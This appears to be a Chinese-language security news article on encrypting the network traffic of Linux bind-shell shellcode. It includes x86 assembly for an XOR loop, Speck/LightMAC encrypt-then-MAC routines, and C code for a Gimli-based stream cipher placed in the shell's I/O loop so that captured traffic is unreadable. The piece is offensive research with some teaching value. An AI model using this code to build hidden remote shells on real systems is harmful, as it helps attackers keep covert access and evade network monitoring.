當前位置:
首頁 > 新聞 > Shellcode與加密流量之間的那些事兒

Shellcode與加密流量之間的那些事兒

前言


在這篇文章中,我們將簡單介紹如何在通過TCP通信的位置無關代碼(PIC)中實現數據加密。


我將以Linux下的同步Shell作為演示樣例,因此我建議大家在閱讀本文之前先閱讀下面這幾篇關於Shellcode的細節文章。


Shellcode: Linuxx86同步Shell彙編


Shellcode:Linux AMD64同步Shell彙編


Shellcode:Linux ARM同步Shell彙編


可能還需要查看關於加密演算法的內容:Shellcode:ARM彙編中的加密演算法介紹。


協議和代碼庫


當我們在思考加密協議時,第一個想到的很可能是安全傳輸層協議(TLS),因為它是針對Web安全的工業級標準。有的人可能還會想到SSH或IPSec等等,但是考慮到這些協議所採用的底層演算法,它們其實都不適用於資源受限環境。而類似SHA-2和分組密碼(例如Blowfish)這樣加密哈希函數也並不是為類似RFID晶元這樣的佔用資源較少的電子設備設計的。


在2018年4月份,NIST曾為物聯網行業的輕量級加密演算法推行過一個標準化進程,整個過程需要好幾年的時間才可以完成,但毫無疑問的是,整個行業並不會一直等待,因為這樣會導致不安全的產品暴露在互聯網中。某些密碼學家選擇採取主動的方式,通過自己的努力將他們設計的協議採用到這些低資源消耗的設備上,其中有兩個典型的演算法就是BLINKER和STROBE,而相應的適用於資源受限環境的代碼庫有LibHydrogen和MonoCypher。


分組密碼


分組密碼有很多種,但AES 128可能是目前最適合對在線流量進行加密的演算法了,下面給出的是我們對不同種類分組密碼的測試結果:


雖然這些加密演算法都非常優秀,但是他們仍需要類似計數器(CTR)和基於認證的加密模塊,其中最適合消息認證碼(MAC)的加密演算法就是LightMAC了,因為它在實現加密的過程中使用的是相同的分組密碼。


流密碼


另外兩種針對認證加密的熱門演算法(AES-GCM的替換)就是ChaCha20和Poly1305了,但是ChaCha20採用的是200位元組,而Poly1305為330位元組。雖然跟HMAC-SHA2相比,Poly1305已經壓縮得非常小了,但仍然佔用資源過多。


置換函數


如果你花了很多時間去測試各種加密演算法的話,你最終會發現在構造流密碼、分組密碼、加密認證模型、加密哈希函數和隨機數生成器時,你需要的僅僅只是一個置換函數。下面這個表格給出的是我們針對三種函數的測試結果:



這裡我們選擇使用Gimli,因為它佔用資源最少,並且可以用來構造針對通信流量的加密演算法。


異或密碼


接下來,我們實現一個針對數據流的簡單異或操作(Just For Fun!)。下面的截圖中顯示的是一台Windows虛擬機發送給Linux虛擬機的部分命令,其中Linux平台運行的Shellcode是沒有採用任何加密的。


捕捉到兩台主機間的通信數據之後,我們可以看到如下所示的TCP流數據:



給Shellcode x86彙編代碼中添加部分命令後,我們就可以進行8位異或運算了:

;      ; read(r, buf, BUFSIZ, 0);      xor   esi, esi          ; esi = 0      mov   ecx, edi          ; ecx = buf      cdq                      ; edx = 0      mov   dl, BUFSIZ        ; edx = BUFSIZ      push  SYS_read          ; eax = SYS_read      pop   eax      int   0x80            ; encrypt/decrypt buffer      pushad      xchg  eax, ecxxor_loop:      xor   byte[eax+ecx-1], XOR_KEY      loop  xor_loop      popad            ; write(w, buf, len);      xchg  eax, edx          ; edx = len      mov   al, SYS_write      pop   ebx               ; s or in[1]      int   0x80      jmp   poll_wait

通過在新的會話中執行相同的命令,通信數據將無法直接可讀,我這裡使用了haxdump來查看發送的命令以及接收到的結果:



當然了,長度為8位的密鑰是無法有效阻止攻擊者恢復出通信明文的,下圖給出的是Cyberchef爆破密鑰的過程:



Speck和LightMAC


一開始,我使用的是下面這段代碼來對數據包的加密進行驗證,它使用了Encrypt-then-MAC (EtM),而且這種方法比其他的方法要更安全,比如說MAC-then-Encrypt (MtE) 或Encrypt-and-MAC(E&M):

bits32

%defineSPECK_RNDS    27
%defineN              8
%defineK             16  
;*****************************************
;Light MAC parameters based on SPECK64-128
;
; N =64-bits
; K =128-bits
;
%defineCOUNTER_LENGTH N/2  ; should be <= N/2
%defineBLOCK_LENGTH   N  ; equal to N
%defineTAG_LENGTH     N  ; >= 64-bits && <= N
%defineBC_KEY_LENGTH  K  ; K

%defineENCRYPT_BLK speck_encrypt
%defineGET_MAC lightmac
%defineLIGHTMAC_KEY_LENGTH BC_KEY_LENGTH*2 ; K*2

%definek0 edi    
%definek1 ebp    
%definek2 ecx    
%definek3 esi

%definex0 ebx    
%definex1 edx

; esi= IN data
; ebp= IN key

speck_encrypt:  
     pushad

     push   esi            ; save M

     lodsd                  ; x0 = x->w[0]
     xchg   eax, x0
     lodsd                  ; x1 = x->w[1]
     xchg   eax, x1

     mov    esi, ebp       ; esi = key
     lodsd
     xchg   eax, k0        ; k0 = key[0]
     lodsd
     xchg   eax, k1        ; k1 = key[1]
     lodsd
     xchg   eax, k2        ; k2 = key[2]
     lodsd
     xchg   eax, k3        ; k3 = key[3]    
     xor    eax, eax       ; i = 0
spk_el:
     ; x0 = (ROTR32(x0, 8) + x1) ^ k0;
     ror    x0, 8
     add    x0, x1
     xor    x0, k0
     ; x1 = ROTL32(x1, 3) ^ x0;
     rol    x1, 3
     xor    x1, x0
     ; k1 = (ROTR32(k1, 8) + k0) ^ i;
     ror    k1, 8
     add    k1, k0
     xor    k1, eax
     ; k0 = ROTL32(k0, 3) ^ k1;
     rol    k0, 3
     xor    k0, k1    
     xchg   k3, k2
     xchg   k3, k1
     ; i++
     inc    eax
     cmp    al, SPECK_RNDS    
     jnz    spk_el

     pop    edi    
     xchg   eax, x0        ; x->w[0] = x0
     stosd
     xchg   eax, x1        ; x->w[1] = x1
     stosd
     popad
     ret

; edx= IN len
; ebx= IN msg
; ebp= IN key
; edi= OUT tag      
lightmac:
     pushad
     mov     ecx, edx
     xor     edx, edx
     add     ebp, BLOCK_LENGTH + BC_KEY_LENGTH    
     pushad                 ; allocate N-bytes for M
     ; zero initialize T
     mov    [edi+0], edx   ; t->w[0] = 0;
     mov    [edi+4], edx   ; t->w[1] = 0;
     ; while we have msg data
lmx_l0:
     mov    esi, esp       ; esi = M
     jecxz  lmx_l2         ; exit loop ifmsglen == 0
lmx_l1:
     ; add byte to M
     mov    al, [ebx]      ; al = *data++
     inc    ebx
     mov    [esi+edx+COUNTER_LENGTH], al          
     inc    edx            ; idx++
     ; M filled?
     cmp    dl, BLOCK_LENGTH - COUNTER_LENGTH
     ; --msglen
     loopne lmx_l1
     jne    lmx_l2
     ; add S counter in big endian format
     inc    dword[esp+_edx]; ctr++
     mov    eax, [esp+_edx]
     ; reset index
    cdq                    ; idx = 0
     bswap  eax            ; m.ctr =SWAP32(ctr)
     mov    [esi], eax
     ; encrypt M with E using K1
     call   ENCRYPT_BLK
     ; update T
     lodsd                  ; t->w[0] ^= m.w[0];
     xor    [edi+0], eax      
     lodsd                  ; t->w[1] ^= m.w[1];
     xor    [edi+4], eax        
     jmp    lmx_l0         ; keep going
lmx_l2:
     ; add the end bit
     mov    byte[esi+edx+COUNTER_LENGTH], 0x80
     xchg   esi, edi       ; swap T and M
lmx_l3:
     ; update T with any msg dataremaining    
     mov    al, [edi+edx+COUNTER_LENGTH]
     xor    [esi+edx], al
     dec    edx
     jns    lmx_l3
     ; advance key to K2
     add    ebp, BC_KEY_LENGTH
     ; encrypt T with E using K2
     call   ENCRYPT_BLK
     popad                  ; release memory for M
     popad                  ; restore registers
     ret

; IN:ebp = global memory, edi = msg, ecx = enc flag, edx = msglen
;OUT: -1 or length of data encrypted/decrypted
encrypt:
     push   -1
     pop    eax            ; set return valueto -1
     pushad
     lea    ebp, [ebp+@ctx] ; ebp crypto ctx
     mov    ebx, edi       ; ebx = msg      
     pushad                 ; allocate 8-bytes fortag+strm
     mov    edi, esp       ; edi = tag
     ; if (enc) {
     ;  verify tag + decrypt
     jecxz  enc_l0
     ; msglen -= TAG_LENGTH;
     sub    edx, TAG_LENGTH
     jle    enc_l5         ; return -1 if msglen <= 0
     mov    [esp+_edx], edx
     ; GET_MAC(ctx, msg, msglen, mac);
     call   GET_MAC
     ; memcmp(mac, &msg[msglen],TAG_LENGTH)
     lea    esi, [ebx+edx] ; esi = &msg[msglen]
     cmpsd
     jnz    enc_l5         ; not equal? return-1
     cmpsd
     jnz    enc_l5         ; ditto
     ; MACs are equal
     ; zero the MAC
     xor    eax, eax
     mov    [esi-4], eax
     mov    [esi-8], eax
enc_l0:
     mov    edi, esp
     test   edx, edx       ; exit if (msglen== 0)
     jz     enc_lx
     ; memcpy (strm, ctx->e_ctr,BLOCK_LENGTH);
     mov    esi, [esp+_ebp]; esi = ctx->e_ctr
     push   edi
     movsd
     movsd
     mov    ebp, esi
     pop    esi      
     ; ENCRYPT_BLK(ctx->e_key, &strm);
     call   ENCRYPT_BLK
     mov    cl, BLOCK_LENGTH
     ; r=(len > BLOCK_LENGTH) ?BLOCK_LENGTH : len;
enc_l2:
     lodsb                  ; al = *strm++
     xor    [ebx], al      ; *msg ^= al
     inc    ebx            ; msg++
     dec    edx
     loopnz enc_l2         ; while (!ZF&& --ecx)
     mov    cl, BLOCK_LENGTH      
enc_l3:                      ; do {
     ; update counter
     mov    ebp, [esp+_ebp]
     inc    byte[ebp+ecx-1]    
     loopz  enc_l3         ; } while (ZF&& --ecx)
     jmp    enc_l0
enc_lx:
     ; encrypting? add MAC of ciphertext
     dec    dword[esp+_ecx]
     mov    edx, [esp+_edx]
     jz     enc_l4
     mov    edi, ebx
     mov    ebx, [esp+_ebx]
     mov    ebp, [esp+_ebp]
     ; GET_MAC(ctx, buf, buflen, msg);
     call   GET_MAC
     ; msglen += TAG_LENGTH;
     add    edx, TAG_LENGTH
enc_l4:
     ; return msglen;
     mov    [esp+32+_eax], edx            
enc_l5:      
     popad
     popad
     ret

需要注意的是,這裡還得用到一個協議,接收方在對數據有效性進行驗證之前需要知道發送方到底發送了多少數據過來,因此加密長度需要首先發送,接下來才是加密數據。但是請等一下,這裡明明應該是Shellcode,為什麼現在搞得那麼複雜呢?試一下RC4?不,請大家往下看!


Gimli


為了使用Gimli來代替RC4,我編寫了下面這段代碼,這裡的置換函數本質上就是Gimli:

#defineR(v,n)(((v)>>(n))|((v)<<(32-(n))))#defineF(n)for(i=0;i<n;i++)#defineX(a,b)(t)=(s[a]),(s[a])=(s[b]),(s[b])=(t)  voidpermute(void*p){  uint32_t i,r,t,x,y,z,*s=p;   for(r=24;r>0;--r){    F(4)      x=R(s[i],24),      y=R(s[4+i],9),      z=s[8+i],         s[8+i]=x^(z+z)^((y&z)*4),      s[4+i]=y^x^((x|z)*2),     s[i]=z^y^((x&y)*8);    t=r&3;        if(!t)      X(0,1),X(2,3),      *s^=0x9e377900|r;       if(t==2)X(0,2),X(1,3);  }} typedefstruct _crypt_ctx {    uint32_t idx;    int     fdr, fdw;    uint8_t s[48];    uint8_t buf[BUFSIZ];}crypt_ctx;  uint8_tgf_mul(uint8_t x) {    return (x << 1) ^ ((x >> 7) *0x1b);} //initialize crypto contextvoidinit_crypt(crypt_ctx *c, int r, int w, void *key) {    int i;        c->fdr = r; c->fdw = w;        for(i=0;i<48;i++) {       c->s[i] = ((uint8_t*)key)[i % 16] ^gf_mul(i);    }    permute(c->s);    c->idx = 0;} //encrypt or decrypt buffervoidcrypt(crypt_ctx *c) {    int i, len;     // read from socket or stdout    len = read(c->fdr, c->buf, BUFSIZ);        // encrypt/decrypt    for(i=0;i<len;i++) {      if(c->idx >= 32) {        permute(c->s);        c->idx = 0;      }      c->buf[i] ^= c->s[c->idx++];    }    // write to socket or stdin    write(c->fdw, c->buf, len);}

在Linux Shell中使用這段代碼之前,我們需要聲明兩個單獨的加密上下文來處理輸入、輸出和128位的靜態密鑰:

//using a static 128-bit key    crypt_ctx          *c, c1, c2;        // echo -n top_secret_key | openssl md5-binary -out key.bin    // xxd -i key.bin        uint8_t key[] = {      0x4f, 0xef, 0x5a, 0xcc, 0x15, 0x78, 0xf6,0x01,       0xee, 0xa1, 0x4e, 0x24, 0xf1, 0xac, 0xf9,0x49 };

在進入主輸出循環之前,我們還需要對每一個上下文初始化文件讀取和寫入描述符,這樣可以減少代碼的行數:

//        // c1 is for reading from socket andwriting to stdin        init_crypt(&c1, s, in[1], key);                // c2 is for reading from stdout andwriting to socket        init_crypt(&c2, out[0], s, key);                // now loop until user exits or someother error        for (;;) {          r = epoll_wait(efd, &evts, 1,-1);                            // error? bail out                     if (r<=0) break;                   // not input? bail out          if (!(evts.events & EPOLLIN))break;           fd = evts.data.fd;                    c = (fd == s) ? &c1 : &c2;                     crypt(c);             }

總結


對shellcode進行恢復之後,將能夠得到明文數據,因為我在這裡加密所採用的是一個靜態密鑰,為了防止這種情況出現,大家可以嘗試使用類似Diffie-Hellman這樣的密鑰交換協議來實現,這個就留給大家自己動手嘗試啦!


* 參考來源:securelist,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

一加6手機的Bootloader漏洞可讓攻擊者控制設備
SPN服務主體名稱發現詳解

TAG:FreeBuf |